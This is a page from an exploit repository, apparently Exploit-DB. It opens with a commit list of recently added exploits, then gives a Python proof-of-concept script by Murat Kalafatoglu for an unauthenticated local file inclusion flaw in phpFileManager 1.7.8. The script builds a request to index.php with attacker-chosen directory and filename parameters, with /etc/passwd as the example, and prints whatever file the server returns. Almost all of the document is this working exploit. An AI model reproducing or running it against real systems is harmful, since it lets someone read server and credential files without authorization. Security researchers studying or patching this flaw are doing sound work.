764ac4bf5c
13 changes to exploits/shellcodes AIDA64 Extreme Edition 5.99.4800 - Local SEH Buffer Overflow Mozilla Firefox 3 - 'ftp://' URL Multiple File Format Handling Cross-Site Scripting Vulnerabilities Google Chrome 0.2.149 - 'ftp://' URL Multiple File Format Handling Cross-Site Scripting Vulnerabilities Inout EasyRooms - SQL Injection Inout RealEstate - 'city' SQL Injection WordPress Plugin PayPal Checkout Payment Gateway 1.6.8 - Parameter Tampering JioFi 4G M2S 1.0.2 - Cross-Site Request Forgery LimeSurvey < 3.16 - Remote Code Execution CMS Made Simple < 2.2.10 - SQL Injection Fiverr Clone Script 1.2.2 - SQL Injection / Cross-Site Scripting phpFileManager 1.7.8 - Local File Inclusion
33 lines
No EOL
1 KiB
Python
Executable file
33 lines
No EOL
1 KiB
Python
Executable file
# Exploit Title: phpFileManager 1.7.8 - Local File Inclusion
|
|
# Date: 01.04.2019
|
|
# Exploit Author: Murat Kalafatoglu
|
|
# Vendor Homepage: https://sourceforge.net/projects/phpfm/
|
|
# Software Demo: https://phpfm-demo.000webhostapp.com/
|
|
# Version: v1.7.8
|
|
# Category: Webapps
|
|
# Tested on: XAMPP for Linux
|
|
# Description: Any user can read files from the server
|
|
# without authentication due to an existing LFI in the following path:
|
|
# http://target/index.php?action=3&fm_current_dir=%2Fetc%2F&filename=passwd
|
|
|
|
# PoC
|
|
|
|
#!/usr/bin/python
|
|
|
|
import requests, sys
|
|
|
|
print "\n[*] phpFileManager 1.7.8 LFI PoC By Murat Kalafatoglu"
|
|
print "[+] usage: python " + __file__ + " http://<target_ip/domain>"
|
|
if (len(sys.argv) != 2):
|
|
print "[*] Usage: poc.py <target_ip/domain>"
|
|
exit(0)
|
|
ip_add = sys.argv[1]
|
|
|
|
dr = raw_input('[+] Directory: aka /etc/\n')
|
|
fd = raw_input('[+] File : aka passwd\n')
|
|
|
|
print "Exploiting....."
|
|
print '\n'
|
|
|
|
exp = requests.get(""+ ip_add + "index.php?action=3&fm_current_dir=" + dr + "&filename=" + fd +"")
|
|
print exp.text |